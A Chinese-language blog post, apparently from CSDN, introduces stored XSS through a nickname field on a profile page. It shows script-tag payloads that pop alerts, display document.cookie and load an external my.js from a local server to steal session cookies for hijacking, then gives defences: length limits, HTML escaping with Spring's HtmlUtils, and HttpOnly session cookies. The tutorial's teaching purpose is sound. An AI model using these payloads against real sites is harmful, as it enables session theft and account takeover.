xss 攻击 初步了解与简单防御

开始

        存储型:

                 在平常的网站中,除开门户型,其他的多多少少都存在交互,服务器会保存页面传来的参数,例如用户注册时的 :用户名/密码/个性前面,还有其他与业务相关的数据录入,然后会有查询显示的页面,例如 后台管理员查看 玩家列表,或者 论坛类型 某某用户发言,在这些页面中,会显示前面由页面传入的数据。如果没有对这些数据经行检查过滤,就可能存在 XSS 漏洞。

尝试

      1.这是某网站的 个人信息详情页面

        2.我们尝试修改 昵称为   111<script>alert(333)</script>

修改成功,刷新页面

 

大家发现没,因为我们在修改用户名时,传入的是一个包含 js 代码的内容,当再次获取用户名时,浏览器就会解析这一段 js 代码,大家会说,弹个框没什么用。不会有什么危害。那下面我们来尝试获取有用的东西。

3.我们尝试修改 昵称为   1<script>alert(document.cookie)</script> ,然后刷新页面

这样还是不够刺激

4.我们尝试修改 昵称为   1<script src="http://127.0.0.1:8089/my.js"></script> ,

my.js内容:

启动的服务器:

然后刷新页面

页面毫无异样,再来看看我的控制台输出

到此,我们已经拿到网站信息,和当前用户的cookie信息.

当我们把这些cookie 填入浏览器时,刷新页面,就会以这个cookie对应的用户登陆了。

危害

       当攻击主注入用户名成功后,有一天后台管理员打开了 用户列表,那么管理员这个用户的cookie就会发送给攻击者。

攻击者如果去发表评论,当其他用户加载了攻击者的用户信息后,那么其他用户的信息也会暴露。

防御

       1.很明显,这个用户名没有限制长度

       2.在服务端对数据进行过滤,对特殊符号进行转义

                  

import org.springframework.web.util.HtmlUtils;


@Test
	public void contextLoads() {
		System.out.println(HtmlUtils.htmlEscape("1<script        src=\"http://127.0.0.1:8089/my.js\"></script>"));
   //输出结果 1&lt;script src=&quot;http://127.0.0.1:8089/my.js&quot;&gt;&lt;/script&gt;
	}

       3.当显示到页面的数据还有其他来源时,服务端返回数据的时候也应该进行 过滤,例如:游戏中有玩家 发送了一条带脚本内容的聊天,当后台管理员查看聊天记录时,就会执行改脚本

       4.设置cookie为 httpOnly,不允许 js 获取 cookie,防止cookie 劫持

           sessionId 是web容器存入cookie的,要设置sessionId 为 httpOnly,需要修改 web容器的 配置

             参考: https://blog.csdn.net/jiawenbo89/article/details/52106089

         springboot 设置 : server.servlet.session.cookie.http-only=true

后记

        这只是我个人很浅显的一点见解,有理解不对的地方还请大家指出来。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值